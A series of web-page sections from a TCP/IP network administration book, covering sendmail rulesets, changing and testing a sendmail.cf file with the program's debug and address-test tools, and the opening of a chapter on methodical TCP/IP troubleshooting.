    In specific circumstances the @host.domain part is added by sendmail after ruleset 3 terminates. This happens only if the mail has been received from a mailer with the C flag set. [19] In our sample configuration file, none of the mailers use this flag. If the C flag is set, the sender's @host.domain is added to all addresses that have only a local-part. This processing is done after ruleset 3 and before rulesets 1 and 2. (This function is represented in Figure 10.4 by the box marked "D.")

    [19] See Appendix E for the full set of mailer flags.

  • Ruleset 0 is applied to the addresses used to deliver the mail. Ruleset 0 is applied after ruleset 3, and only to the recipient addresses actually used for mail delivery. It resolves the address to the triple (mailer, host, user) composed of the name of the mailer that will deliver the mail, the recipient hostname, and the recipient username.

  • Ruleset 1 is applied to all sender addresses in the message.

  • Ruleset 2 is applied to all recipient addresses in the message.

  • Ruleset 4 is applied to all addresses in the message and is used to translate internal address formats into external address formats.

  • Ruleset 5 is applied to local addresses after sendmail processes the address against the aliases file. Ruleset 5 is only applied to local addresses that do not have an alias.

Figure 10.4 shows the flow of the message and addresses through these rulesets. The D box does not symbolize a ruleset. It is the internal sendmail process described above. The S and R symbols do stand for rulesets. They have numeric names just like all normal rulesets, but the numbers are not fixed as is the case with rulesets 0, 1, 2, 3, 4, and 5. The S and R ruleset numbers are defined in the S and R fields of the mailer definition. Each mailer may specify its own S and R rulesets for mailer-specific cleanup of the sender and recipient addresses just before the message is delivered.

Figure 10.4: Sequence of rulesets

There are, of course, many more rulesets in most sendmail.cf files. The other rulesets provide additional address processing and are called by existing rulesets using the $>n construct. [20] The rulesets provided in any sample sendmail.cf file will be adequate for delivering SMTP mail. It's unlikely you'll have to add to these rulesets, unless you want to add new features to your mailer.

[20] See Table 10-5.

Previous: 10.5 sendmail Configuration | TCP/IP Network Administration | Next: 10.7 Modifying a sendmail.cf File
10.5 sendmail Configuration | Book Index | 10.7 Modifying a sendmail.cf File


[Chapter 10] 10.7 Modifying a sendmail.cf File

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.6 Rewriting the Mail Address Chapter 10
sendmail 		Next: 10.8 Testing sendmail.cf

10.7 Modifying a sendmail.cf File

In this section we put into practice everything we discussed about sample configuration files - their structure and the commands used to build them. We'll modify the prototype configuration file, linux.smtp.cf, for use on peanut.nuts.com. We've chosen to modify this file because its configuration is closest to the configuration we need for peanut.nuts.com. peanut is a Linux workstation on a TCP/IP Ethernet, and it uses SMTP mail and domain name service (DNS).

The following sections are titled according to the sections of the file, and they describe the modifications we'll make to the file, section by section. Remember that other sendmail.cf files will probably use different section titles, but the basic information provided in the configuration will be the same.

10.7.1 Modifying Local Information

The first line in the local information section of the sendmail.cf file defines class w. [21] Class w is the full set of host names for which this system accepts mail. Use the class w command to add hostnames to this set. sendmail initializes this class to the value in macro w ($w), which is the hostname of this computer. On most systems that is enough; sendmail is able to correctly identify most of the other hostnames for which it should accept mail by querying DNS. The w class needs only to identify systems that expect this host to accept mail for them and that do not have CNAME or MX entries in the DNS that point to this host. You'll need to add a hostname to class w, or an MX record to DNS, if you see the following mail error:

[21] The full text of the local information section is shown in Appendix E.

mil-gw.nuts.com. config error: mail loops back to me (MX problem?)

In our sample, we accept the Cw command as written, and let sendmail define the value for w internally. This is the most common method for desktop systems like peanut. On the system almond, which is also known by the name mil-gw, we would add values to class w as follows:

Cwlocalhost mil-gw mil-gw.nuts.com

Now mail addressed to user@mil-gw.nuts.com would be accepted by almond and not rejected as being addressed to the wrong host.

Some mail servers might need to be configured to accept mail for many different hostnames. In that case you may want to load class w from a file containing all of the hostnames. Do that with the F command.

No modification is necessary for the j macro definition because, on this system, sendmail obtains a fully qualified domain name for the j macro from DNS. On some systems this is the case; on other systems sendmail obtains the hostname without the domain extension. If j doesn't contain the full name, initialize j with the hostname ($w) and the domain name. In the sample file we would do this by "uncommenting" the Dj command and editing the domain string to be nuts.com. However, there is no need to do this because j has the correct value.

To test if j is set to the correct value on your system, run sendmail with the -bt option and the debug level set to 0.4. In response to this, sendmail displays several lines of information, including the value of j. In the example below, sendmail displays the value peanut.nuts.com for j. If it displayed only peanut, we would edit sendmail.cf to correct the value for j.

# sendmail -bt -d0.4
Version 8.8.5
 Compiled with: LOG MATCHGECOS MIME8TO7 NAMED_BIND NDBM
                NETINET NETUNIX NEWDB SCANF USERDB XDEBUG
canonical name: peanut.nuts.com
 UUCP nodename: peanut
        a.k.a.: peanut.nuts.com
        a.k.a.: [172.16.12.2]

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = peanut
  (canonical domain name) $j = peanut.nuts.com

         (subdomain name) $m = nuts.com
              (node name) $k = peanut
========================================================

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> ^D

The next line in the local information section defines class P. In our sample configuration file, class P stores the names of some special mail routing domains. These pseudo-domain names allow us to address users who are not on the Internet with Internet style email addresses. For example, mail can be addressed using the normal UUCP "bang" syntax, e.g., ora!los!craig, or it can be addressed in a pseudo-Internet format, e.g., craig@los.ora.uucp. These mail routing domains simplify the address that the user enters, and route the mail to the correct mail relay host. However, pseudo-domains are rarely needed because most mailers now support standard Internet-style addresses. The class P definition in linux.smtp.cf does not require any modification. The only value assigned as a pseudo-domain is a dot (.), which is used in this sendmail.cf file to identify canonical domain names.

The configuration file has macro definitions for several mail relays. None of these are assigned a value in our sample file. You only need a relay host if your system cannot deliver the mail because it lacks capability or connectivity. UNIX systems do not lack capability, but a firewall might limit connectivity. Some sites use a mail relay so that only one systems needs a full sendmail.cf configuration. The other hosts at the site simply forward their mail to the smart host for delivery. If this is the configuration policy of your site, enter the name of the mail relay as the "smart" relay. For example:

DSrelay.nuts.com

We don't enter anything in any of the relay settings on peanut. This desktop system will handle all its own mail. Hey, that's why we run UNIX!

The local information section in the sample file also includes four key file definitions. Three of these K commands are commented out, and all four of them can be ignored. The one key file definition that is not commented out defines the dequote database, which is an internal sendmail database used to remove quotes from within email addresses. The user key file, which is commented out, is also an internal database. It is used to check if a username exists. The last two databases exist only if you create them. The domaintable is used to rewrite domain names and the mailertable database is used to send mail addressed to a specific domain through a particular mailer to a specific remote host.

The version number doesn't require modification - but it's a good idea to keep track of the changes you make to your sendmail configuration, and this is the place to do it. Each time you modify the configuration, change the version number by adding your own revision number. At the same time, enter a comment in the file describing the changes you made. Usually, this is the last change made to the files so the comments reflect all changes. For example, the original version number section in the linux.smtp.cf file is:

######################
#   Version Number   #
######################

DZ8.7.3

After we have finished all of our modifications, it will contain:

######################
#   Version Number   #
######################
#  R1.0 - modified for peanut by Craig
#       - cleaned up the comments in the local info section
#  R1.1 - modified macro M to use nuts.com instead of the
#         hostname in outgoing mail
#  R2.0 - added rule a to S11 & S31 to rewrite to first.last format

DZ8.7.3R2.0

Finally, we need to understand the purpose of a few other classes and macros found in this section. The M macro is used to rewrite the sender host address. Define a value for M to hide the name of the local host in outbound mail. Classes E and M are both related to macro M. Class E defines the usernames for which the hostname is not rewritten even if the M macro is defined. For example, root@peanut.nuts.com is not rewritten to root@nuts.com even if M is defined as DMnuts.com. Class M is defines other hostnames, not just the local hostname, that should be rewritten to the value of macro M. This is used on mail servers that might need to rewrite sender addresses for their clients. For example:

# who I masquerade as (null for no masquerading) (see also $=M)
DMnuts.com

# class M: domains that should be converted to $M
CMacorn.nuts.com brazil.nuts.com filbert.nuts.com

Given the macro M and class M definitions shown above. This host would rewrite mail from user@brazil.nuts.com or user@acorn.nuts.com to user@nuts.com. peanut is not a server so we won't use class M. But we will use macro M later in the configuration.

We spent lots of time looking at the local information section because almost everything you will need to do to configure a system can be done here. We will quickly discuss the other section before getting into the really challenging task of working with rewrite rules.

10.7.2 Modifying Options

The section, "Options," defines the sendmail environment. For example, some of the options specify the file paths used by sendmail, as in these lines from the linux.smtp.cf file:

# location of alias file
O AliasFile=/etc/aliases
# location of help file
O HelpFile=/usr/lib/sendmail.hf
# status file
O StatusFile=/etc/sendmail.st
# queue directory
O QueueDirectory=/var/spool/mqueue

If these paths are correct for your system, don't modify them. On peanut we want to keep the files just where they are, which is generally the case when you use a sendmail.cf file that was designed for your operating system. In fact, you will probably not need to change any of the options if you use a configuration file designed for your operating system. If you're really curious about sendmail options, see Appendix E.

The next few sections of the linux.smtp.cf file define the messages' precedences, the trusted users, and the headers. None of these sections are modified. Following these sections are the rewrite rules and the mailers. This material is the bulk of the file and the heart of the configuration. The sample configuration file is designed to allow SMTP mail delivery on a Linux system running DNS, so we assume no modifications are required. We want to test the configuration before copying it into sendmail.cf. We'll save it in a temporary configuration file, test.cf, and use the troubleshooting features of sendmail to test it.

Previous: 10.6 Rewriting the Mail Address | TCP/IP Network Administration | Next: 10.8 Testing sendmail.cf
10.6 Rewriting the Mail Address | Book Index | 10.8 Testing sendmail.cf


[Chapter 10] 10.8 Testing sendmail.cf

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.7 Modifying a sendmail.cf File Chapter 10
sendmail 		Next: 10.9 Summary

10.8 Testing sendmail.cf

sendmail provides powerful tools for configuration testing and debugging. These test tools are invoked on the sendmail command line using some of the many sendmail command-line arguments. Appendix E lists all of the command-line arguments; Table 10.6 summarizes those that relate to testing and debugging.

Table 10.6: sendmail Arguments for Testing and Debugging
Argument | Function
-t | Send to everyone listed in To:, Cc:, and Bcc:.
-bt | Run in test mode.
-bv | Verify addresses; don't collect or deliver mail.
-bp | Print the mail queue.
-C file | Use file as the configuration file.
-d level | Set debugging level.
-O option=value | Set option to the specified value.
-e | Defines how errors are returned.
-v | Run in verbose mode.

Some command-line arguments are used to verify address processing and to gain confidence in the new configuration. Once you think your configuration will work, choose friends at various sites and send them mail. Use the -C argument to read the test configuration file and the -v argument to display the details of the mail delivery. -v displays the complete SMTP exchange between the two hosts.

By observing if your mailer properly connects to the remote mailer and formats the addresses correctly, you'll get a good idea of how the configuration is working. The following example is a test from peanut using the test.cf configuration file we just created:

peanut# /usr/lib/sendmail -Ctest.cf -t -v
To: craigh@ora.com
From: craig
Subject: Sendmail Test
Ignore this test.
^D
craigh@ora.com... Connecting to ora.com. via smtp...
220-ruby.ora.com Sendmail 8.6.13/8.6.11 ready at Sat, 16 Nov 1996
220 ESMTP spoken here
>>> EHLO peanut.nuts.com
250-ruby.ora.com Hello craig@peanut.nuts.com [172.16.12.2], pleased
     to meet you
250-EXPN
250-SIZE
250 HELP
>>> MAIL From:<craig@peanut.nuts.com> SIZE=64
250 <craig@peanut.nuts.com>... Sender ok
>>> RCPT To:<craigh@ora.com>
250 <craigh@ora.com>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 SAA27399 Message accepted for delivery
craigh@ora.com... Sent (SAA27399 Message accepted for delivery)
Closing connection to ora.com.
>>> QUIT
221 ruby.ora.com closing connection

We entered everything before the CTRL-D (^D). Everything after the ^D was displayed by sendmail. Figure 10.5 highlights some of the important information in this display, and notes the sendmail macros that relate to the highlighted material.

Figure 10.5: Verbose mail output

This test successfully transfers mail to a remote Internet site. The sendmail output shows that peanut sent the mail to ora.com via the smtp mail delivery program. The sendmail greeting shows that the remote host handling this SMTP connection is ruby.ora.com. Therefore, ruby must be the mail server for the ora.com domain; i.e., the MX record for ora.com points to ruby.ora.com.

The ESMTP and EHLO messages indicate that both peanut and ruby use Extended Simple Mail Transfer Protocol (ESMTP).

Everything worked just fine! We could quit right now and use this configuration. But like most computer people, we cannot stop ourselves from tinkering in order to make things "better."

The From: address, craig@peanut.nuts.com, is clearly a valid address but it is not quite what we want. What we want is to have people address us as firstname.lastname@domain - not as user@host.domain, which is exactly the configuration we created earlier in this chapter with a few lines of m4 code. We will create the same configuration here to provide an example of how to use the various troubleshooting tools that come with sendmail. However, if you really want to make major sendmail configuration changes, you should use m4 to build your configuration.

Most changes to sendmail.cf are small and are made near the beginning of the file in the Local Information section. Looking closely at that section provides the clues we need to solve part of our configuration problem.

Without knowing what "masquerading" means, the comments for class E, class M, and macro M lead us to guess that the value set for macro M will be used to rewrite the hostname. [22] In particular, the comment "names that should be exposed as from this host, even if we masquerade" led me to believe that masquerading hides the hostname. Based on this guess, we set a value for macro M as follows:

[22] In the m4 source file we configured masquerading with the MASQUERADE_AS(nuts.com) command.

# who I masquerade as (null for no masquerading) (see also $=M)
DMnuts.com

Are we sure that setting a value for the M macro will hide the hostname? No, but changing the value in test.cf and running another test will do no harm. Running the test program with the test configuration has no affect on the running sendmail daemon that was started by the sendmail -bd -q1h command in the boot script. Only an instantiation of sendmail with the -Ctest.cf argument will use the test.cf test configuration.

10.8.1 Testing Rewrite Rules

In the initial test, the From: address went into sendmail as craig, and it came out as craig@peanut.nuts.com. Obviously it has been rewritten. This time we test whether the change we made to the macro M in the configuration files modifies the rewrite process by directly testing the rewrite rulesets. First, we need to find out what rules were used to rewrite this address. To get more information, we run sendmail with the -bt option.

When sendmail is invoked with the -bt option, it prompts for input using the greater than symbol (>). At the prompt, enter one of the test commands shown in Table 10.7

Table 10.7: sendmail Testing Commands
Command | Function
ruleset[,ruleset]... address | Process address through ruleset(s).
.D mvalue | Assign value to macro m.
.C cvalue | Add value to class c.
=S ruleset | Display the rules in ruleset.
=M | Display the mailer definitions.
-d value | Set the debug flag to value.
$m | Display the value of macro m.
$=c | Display the contents of class c.
/mx host | Display the MX records for host.
/parse address | Return the mailer/host/user triple for address.
/try mailer address | Process address for mailer.
/tryflags flags | Set the address processed by /parse or /try to H (Header), E (Envelope), S (Sender), or R (Recipient).
/canon hostname | Canonify hostname.
/map mapname key | Display the value for key found in mapname.

The most basic test is a ruleset number followed by an email address. The address is the test data, and the ruleset number is the ruleset to be tested. The address is easy to select; it is the one that was improperly rewritten. But how do you know which ruleset to specify?

Use Figure 10.4 to determine which rulesets to enter. Ruleset 3 is applied to all addresses. It is followed by different rulesets depending on whether the address is a delivery address, a sender address, or a recipient address. Furthermore, the rulesets used for sender and recipient addresses vary depending on the mailer that is used to deliver the mail. All addresses are then processed by ruleset 4.

There are two variables in determining the rulesets used to process an address: the type of address and the mailer through which it is processed. The three address types are delivery address, recipient address, and sender address. You know the address type because you select the address being tested. In our test mail we were concerned about the sender address. Which mailer is used is determined by the delivery address. To find out which mailer delivered the test mail, run sendmail with the -bv argument and the delivery address:

# sendmail -bv craigh@ora.com
craigh@ora.com... deliverable: mailer smtp, host ora.com.,
     user craigh@ora.com

Knowing the mailer, we can use sendmail with the -bt option to process the sender From: address. There are two types of sender addresses: the sender address in the "envelope" and the sender address in the message header. The message header address is the one on the From: line sent with the message during the SMTP DATA transfer. You probably see it in the mail headers when you view the message with your mail reader. The "envelope" address is the address used during the SMTP protocol interactions. sendmail allows us to view the processing of both of these addresses:

# /usr/lib/sendmail -bt -Ctest.cf
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> /tryflags HS
> /try smtp craig
Trying header sender address craig for mailer smtp
rewrite: ruleset  3   input: craig
rewrite: ruleset 96   input: craig
rewrite: ruleset 96 returns: craig
rewrite: ruleset  3 returns: craig
rewrite: ruleset  1   input: craig
rewrite: ruleset  1 returns: craig
rewrite: ruleset 31   input: craig
rewrite: ruleset 51   input: craig
rewrite: ruleset 51 returns: craig
rewrite: ruleset 61   input: craig
rewrite: ruleset 61 returns: craig < @ *LOCAL* >
rewrite: ruleset 93   input: craig < @ *LOCAL* >
rewrite: ruleset 93 returns: craig < @ nuts . com . >
rewrite: ruleset 31 returns: craig < @ nuts . com . >
rewrite: ruleset  4   input: craig < @ nuts . com . >
rewrite: ruleset  4 returns: craig @ nuts . com
Rcode = 0, addr = craig@nuts.com
> /tryflags ES
> /try smtp craig
Trying envelope sender address craig for mailer smtp
rewrite: ruleset  3   input: craig
rewrite: ruleset 96   input: craig
rewrite: ruleset 96 returns: craig
rewrite: ruleset  3 returns: craig
rewrite: ruleset  1   input: craig
rewrite: ruleset  1 returns: craig
rewrite: ruleset 11   input: craig
rewrite: ruleset 51   input: craig
rewrite: ruleset 51 returns: craig
rewrite: ruleset 61   input: craig
rewrite: ruleset 61 returns: craig < @ *LOCAL* >
rewrite: ruleset 94   input: craig < @ *LOCAL* >
rewrite: ruleset 94 returns: craig < @ peanut . nuts . com . >
rewrite: ruleset 11 returns: craig < @ peanut . nuts . com . >
rewrite: ruleset  4   input: craig < @ peanut . nuts . com . >
rewrite: ruleset  4 returns: craig @ peanut . nuts . com
Rcode = 0, addr = craig@peanut.nuts.com
> ^D

The /tryflags command defines the type of address to be processed by a /try or a /parse command. Four flags are available for the /tryflags command: S for sender, R for recipient, H for header, and E for envelope. By combining two of these flags, the first /tryflags command says we will process a header sender (HS) address. The /try command tells sendmail to process the address through a specific mailer. In the example, we process the email address craig through the mailer smtp. First, we process it as the header sender address, and then as the envelope sender address. From this test, we can tell that the value that we entered in the M macro is used to rewrite the sender address in the message header but it is not used to rewrite the sender address in the envelope.

Unfortunately, older versions of sendmail, such as the version that comes with Solaris 2.5.1, don't support /try and /tryflags. Testing these older systems requires a little more effort. Knowing the mailer is still the key to determining the rulesets called to process the sender From: address. A grep of the test.cf file displays the rulesets that the smtp mailer uses for sender addresses.

% grep ^Msmtp /etc/sendmail.cf
Msmtp,     P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990,
Msmtp8,    P=[IPC], F=mDFMuX8, S=11/31, R=21, E=\r\n, L=990,

Again, refer to Figure 10.4 It shows that the sender address goes through ruleset 3, ruleset 1, the ruleset specified by S, and ruleset 4. The mailer definition for smtp in our sample configuration defines two rulesets for S - 11 and 31. [23] The first ruleset is used for rewriting the sender address in the "envelope" and the second is used to rewrite the sender address in the message header.

[23] Many versions of sendmail define only one ruleset each for S and R.

Based on the information in Figure 10.4 and in the S field of the smtp mailer, we know that the rulesets that process the message header sender address are 3, 1, 31 and 4. So we run sendmail with the -bt option and enter 3,1,31,4 craig at the command prompt. This command processes the sender address through each of these rulesets in succession. We also know that the envelope sender address is processed by rulesets 3, 1, 11, and 4. To test that, we enter 3,1,11,4 craig.

The results of these tests are exactly the same as those shown in the example above. The value of the M macro rewrites the hostname in the message sender address just as we wanted. The hostname in the envelope sender address is not rewritten. Usually this is acceptable. However, we want to create exactly the same configuration as in the m4 example. The FEATURE(masquerade_envelope) command used in the m4 example causes the envelope sender address to be rewritten. Therefore, we want this configuration to also rewrite it.

The only difference between how the message and envelope addresses are processed is that one goes through ruleset 31 and the other goes through ruleset 11. The tests show that both rulesets call ruleset 51 and then ruleset 61. They diverge at that point because ruleset 31 calls ruleset 93 and ruleset 11 calls ruleset 94. The tests also show that ruleset 93 provides the address rewrite that we want for the message sender address, while the envelope sender address is not processed in the manner we desire by ruleset 94. The test.cf code for rulesets 94, 11, and 31 is shown below:

###################################################################
###  Ruleset 94 -- convert envelope names to masquerade form    ###
###################################################################
S94
#R$+                    $@ $>93 $1
R$* < @ *LOCAL* > $*    $: $1 < @ $j . > $2

#
#  envelope sender rewriting
#
S11
R$+             $: $>51 $1      sender/recipient common
R$* :; <@>      $@              list:; special case
R$*             $: $>61 $1      qualify unqual'ed names
R$+             $: $>94 $1      do masquerading

#
#  header sender and masquerading header recipient rewriting
#
S31
R$+             $: $>51 $1      sender/recipient common
R:; <@>         $@              list:; special case
R$* <@> $*      $@ $1 <@> $2    pass null host through
R< @ $* > $*    $@ < @ $1 > $2  pass route-addr through
R$*             $: $>61 $1      qualify unqual'ed names
R$+             $: $>93 $1      do masquerading

Clearly, ruleset 94 does not do what we want and ruleset 93 does. A quick inspection of ruleset 94 shows that it does not contain a single reference to macro M. Yet the comment on the line in ruleset 11 that calls it indicates that ruleset 94 should "do masquerading." The first line of ruleset 94 calls ruleset 93, but it is commented out. Our solution is to uncomment the first line of ruleset 94 so that it now calls ruleset 93, which is the ruleset that really does the masquerade processing.

Debugging a sendmail.cf file is more of an art than a science. Deciding to edit the first line of ruleset 94 to call ruleset 93 is little more than a hunch. The only way to verify the hunch is through testing. We run sendmail -bt -Ctest.cf again to test the addresses craig, craig@peanut, and craig@localhost through rulesets 3, 1, 11, and 4. All tests run successfully, rewriting the various input addresses into craig@nuts.com. We then retest by sending mail via sendmail -v -t -Ctest.cf. Only when all of these tests run successfully do we really believe in our hunch and move on to the next task, which is to rewrite the user part of the email address into the user's first and last names.

10.8.2 Using Key Files in sendmail

The last feature we added to the m4 source file was FEATURE(genericstable), which adds a database process to the configuration that we use to convert the user portion of the email address from the user's login name to the user's first and last names. To do the same thing here, create a text file of login names and first and last names and build a database with makemap. [24]

[24] See the m4 section for more information about makemap.

# cat realnames
dan Dan.Scribner
tyler Tyler.McCafferty
pat Pat.Stover
willy Bill.Wright
craig Craig.Hunt
# makemap dbm realnames < realnames

Once the database is created, define it for sendmail. Use the K command to do this. To use the database that we have just built, insert the following lines into the Local Information section of the sendmail.cf file:

# define a database to map login names to firstname.lastname
Krealnames dbm /etc/realnames

The K command defines realnames as the internal sendmail name of this database. Further, it identifies that this is a database of type dbm and that the path to the database is /etc/realnames. sendmail adds the correct filename extensions to the pathname depending on the type of the database, so you don't need to worry about it.

Finally, we add a new rule that uses the database to rewrite addresses. We add it to ruleset 11 and ruleset 31 immediately after the lines in those rulesets that call ruleset 93. This way, our new rule gets the address as soon as ruleset 93 finishes processing it.

# when masquerading convert login name to firstname.lastname
R$-<@$M.>$*    $:$(realnames $1 $)<@$2.>$3    user=>first.last

This rule is designed to process the output of ruleset 93, which rewrites the hostname portion of the address. Addresses that meet the criteria to have the hostname part rewritten are also the addresses for which we want to rewrite the user part. Look at the output of ruleset 93 from the earlier test. That address, craig<@nuts.com.>, matches the pattern $-<@$M.>$*. The address has exactly one token (craig) before the literal <@, followed by the value of M (nuts.com), the literal .> and zero tokens.

The transformation part of this rule takes the first token ($1) from the input address and uses it as the key to the realnames database, as indicated by the $:$(realnames $1 $) syntax. For the sample address craig<@nuts.com>, $1 is craig. When used as an index into the database realnames shown at the beginning of this section, it returns Craig.Hunt. This returned value is prepended to the literal <@, the value of indefinite token $2, the literal .>, and the value of $3, as indicated by the <@$2.>$3 part of the transformation. The effect of this new rule is to convert the username to the user's real first and last names.

After adding the new rule to rulesets 11 and 31, a test yields the following results:

# sendmail -bt -Ctest.cf
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 3,1,11,4 craig
rewrite: ruleset  3   input: craig
rewrite: ruleset 96   input: craig
rewrite: ruleset 96 returns: craig
rewrite: ruleset  3 returns: craig
rewrite: ruleset  1   input: craig
rewrite: ruleset  1 returns: craig
rewrite: ruleset 11   input: craig
rewrite: ruleset 51   input: craig
rewrite: ruleset 51 returns: craig
rewrite: ruleset 61   input: craig
rewrite: ruleset 61 returns: craig < @ *LOCAL* >
rewrite: ruleset 93   input: craig < @ *LOCAL* >
rewrite: ruleset 93 returns: craig < @ nuts . com . >
rewrite: ruleset 11 returns: Craig . Hunt < @ nuts . com . >
rewrite: ruleset  4   input: Craig . Hunt < @ nuts . com . >
rewrite: ruleset  4 returns: Craig . Hunt @ nuts . com
> 3,1,31,4 craig
rewrite: ruleset  3   input: craig
rewrite: ruleset 96   input: craig
rewrite: ruleset 96 returns: craig
rewrite: ruleset  3 returns: craig
rewrite: ruleset  1   input: craig
rewrite: ruleset  1 returns: craig
rewrite: ruleset 31   input: craig
rewrite: ruleset 51   input: craig
rewrite: ruleset 51 returns: craig
rewrite: ruleset 61   input: craig
rewrite: ruleset 61 returns: craig < @ *LOCAL* >
rewrite: ruleset 93   input: craig < @ *LOCAL* >
rewrite: ruleset 93 returns: craig < @ nuts . com . >
rewrite: ruleset 31 returns: Craig . Hunt < @ nuts . com . >
rewrite: ruleset  4   input: Craig . Hunt < @ nuts . com . >
rewrite: ruleset  4 returns: Craig . Hunt @ nuts . com
> ^D

If the tests do not give the results you want, make sure that you have correctly entered the new rewrite rules and that you have correctly built the database. If sendmail complains that it can't lock the database file, you need to download a more recent release of sendmail V8. The following error message could also be displayed:

test.cf: line 116: readcf: map realnames: class dbm not available

This indicates that your system does not support dbm databases. Change the database type on the K command line to hash and rerun sendmail -bt. If it complains again, try it with btree. When you find a type of database that your sendmail likes, rerun makemap using that database type. If your sendmail doesn't support any database type, see Appendix E for information on re-compiling sendmail with database support.

Note that all of the changes made directly to the sendmail.cf file in the second half of this chapter (masquerading the sender address, masquerading the envelope address and converting usernames) were handled by just three lines in the m4 source file. These examples were used to demonstrate how to use the sendmail test tools. If you really need to make a new, custom configuration, use m4. It is easiest to maintain and enhance the sendmail configuration through the m4 source file.

Previous: 10.7 Modifying a sendmail.cf File | TCP/IP Network Administration | Next: 10.9 Summary
10.7 Modifying a sendmail.cf File | Book Index | 10.9 Summary


[Chapter 10] 10.9 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.8 Testing sendmail.cf Chapter 10
sendmail 		Next: 11. Troubleshooting TCP/IP

10.9 Summary

sendmail sends and receives SMTP mail, processes mail aliases, and interfaces between user mail agents and mail delivery agents. sendmail is started as a daemon at boot time to process incoming SMTP mail. sendmail aliases are defined in the /etc/aliases file. The rules for interfacing between user agents and mail delivery agents can be complex. sendmail uses the sendmail.cf file to define these rules.

Configuring the sendmail.cf file is the most difficult part of setting up a sendmail server. The file uses a very terse command syntax that is hard to read. Sample sendmail.cf files are available to simplify this task. Most systems come with a sample file and others are available with the sendmail V8 software distribution. The sendmail V.8 sample files must first be processed by the m4 macro processor. Once the proper sample file is available very little of it needs to be changed. Almost all of the changes needed to complete the configuration occur at the beginning of the file and are used to define information about the local system, such as the hostname and the name of the mail relay host. sendmail provides an interactive testing tool that is used to check the configuration before it is installed.

This chapter concludes our study of TCP/IP servers configuration, our last configuration task. In the next chapter we begin to look at the ongoing tasks that are part of running a network once it has been installed and configured. We begin this discussion with troubleshooting.

Previous: 10.8 Testing sendmail.cf | TCP/IP Network Administration | Next: 11. Troubleshooting TCP/IP
10.8 Testing sendmail.cf | Book Index | 11. Troubleshooting TCP/IP


[Chapter 11] Troubleshooting TCP/IP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 10.9 Summary Chapter 11 Next: 11.2 Diagnostic Tools

11. Troubleshooting TCP/IP

Contents:
Approaching a Problem
Diagnostic Tools
Testing Basic Connectivity
Troubleshooting Network Access
Checking Routing
Checking Name Service
Analyzing Protocol Problems
Protocol Case Study
Simple Network Management Protocol
Summary

Network administration tasks fall into two very different categories: configuration and troubleshooting. Configuration tasks prepare for the expected; they require detailed knowledge of command syntax, but are usually simple and predictable. Once a system is properly configured, there is rarely any reason to change it. The configuration process is repeated each time a new operating system release is installed, but with very few changes.

In contrast, network troubleshooting deals with the unexpected. Troubleshooting frequently requires knowledge that is conceptual rather than detailed. Network problems are usually unique and sometimes difficult to resolve. Troubleshooting is an important part of maintaining a stable, reliable network service.

In this chapter, we discuss the tools you will use to ensure that the network is in good running condition. However, good tools are not enough. No troubleshooting tool is effective if applied haphazardly. Effective troubleshooting requires a methodical approach to the problem, and a basic understanding of how the network works. We'll start our discussion by looking at ways to approach a network problem.

11.1 Approaching a Problem

To approach a problem properly, you need a basic understanding of TCP/IP. The first few chapters of this book discuss the basics of TCP/IP and provide enough background information to troubleshoot most network problems. Knowledge of how TCP/IP routes data through the network, between individual hosts, and between the layers in the protocol stack, is important for understanding a network problem. But detailed knowledge of each protocol usually isn't necessary. When you need these details, look them up in a definitive reference - don't try to recall them from memory.

Not all TCP/IP problems are alike, and not all problems can be approached in the same manner. But the key to solving any problem is understanding what the problem is. This is not as easy as it may seem. The "surface" problem is sometimes misleading, and the "real" problem is frequently obscured by many layers of software. Once you understand the true nature of the problem, the solution to the problem is often obvious.

First, gather detailed information about exactly what's happening. When a user reports a problem, talk to her. Find out which application failed. What is the remote host's name and IP address? What is the user's hostname and address? What error message was displayed? If possible, verify the problem by having the user run the application while you talk her through it. If possible, duplicate the problem on your own system.

Testing from the user's system, and other systems, find out:

  • Does the problem occur in other applications on the user's host, or is only one application having trouble? If only one application is involved, the application may be misconfigured or disabled on the remote host. Because of security concerns, many systems disable some services.

  • Does the problem occur with only one remote host, all remote hosts, or only certain "groups" of remote hosts? If only one remote host is involved, the problem could easily be with that host. If all remote hosts are involved, the problem is probably with the user's system (particularly if no other hosts on your local network are experiencing the same problem). If only hosts on certain subnets or external networks are involved, the problem may be related to routing.

  • Does the problem occur on other local systems? Make sure you check other systems on the same subnet. If the problem only occurs on the user's host, concentrate testing on that system. If the problem affects every system on a subnet, concentrate on the router for that subnet.

Once you know the symptoms of the problem, visualize each protocol and device that handles the data. Visualizing the problem will help you avoid oversimplification, and keep you from assuming that you know the cause even before you start testing. Using your TCP/IP knowledge, narrow your attack to the most likely causes of the problem, but keep an open mind.

11.1.1 Troubleshooting Hints

Below we offer several useful troubleshooting hints. They are not part of a troubleshooting methodology - just good ideas to keep in mind.

  • Approach problems methodically. Allow the information gathered from each test to guide your testing. Don't jump on a hunch into another test scenario without ensuring that you can pick up your original scenario where you left off.

  • Work carefully through the problem, dividing it into manageable pieces. Test each piece before moving on to the next. For example, when testing a network connection, test each part of the network until you find the problem.

  • Keep good records of the tests you have completed and their results. Keep a historical record of the problem in case it reappears.

  • Keep an open mind. Don't assume too much about the cause of the problem. Some people believe their network is always at fault, while others assume the remote end is always the problem. Some are so sure they know the cause of a problem that they ignore the evidence of the tests. Don't fall into these traps. Test each possibility and base your actions on the evidence of the tests.

  • Be aware of security barriers. Security firewalls sometimes block ping, traceroute, and even ICMP error messages. If problems seem to cluster around a specific remote site, find out if they have a firewall.

  • Pay attention to error messages. Error messages are often vague, but they frequently contain important hints for solving the problem.

  • Duplicate the reported problem yourself. Don't rely too heavily on the user's problem report. The user has probably only seen this problem from the application level. If necessary, obtain the user's data files to duplicate the problem. Even if you cannot duplicate the problem, log the details of the reported problem for your records.

  • Most problems are caused by human error. You can prevent some of these errors by providing information and training on network configuration and usage.

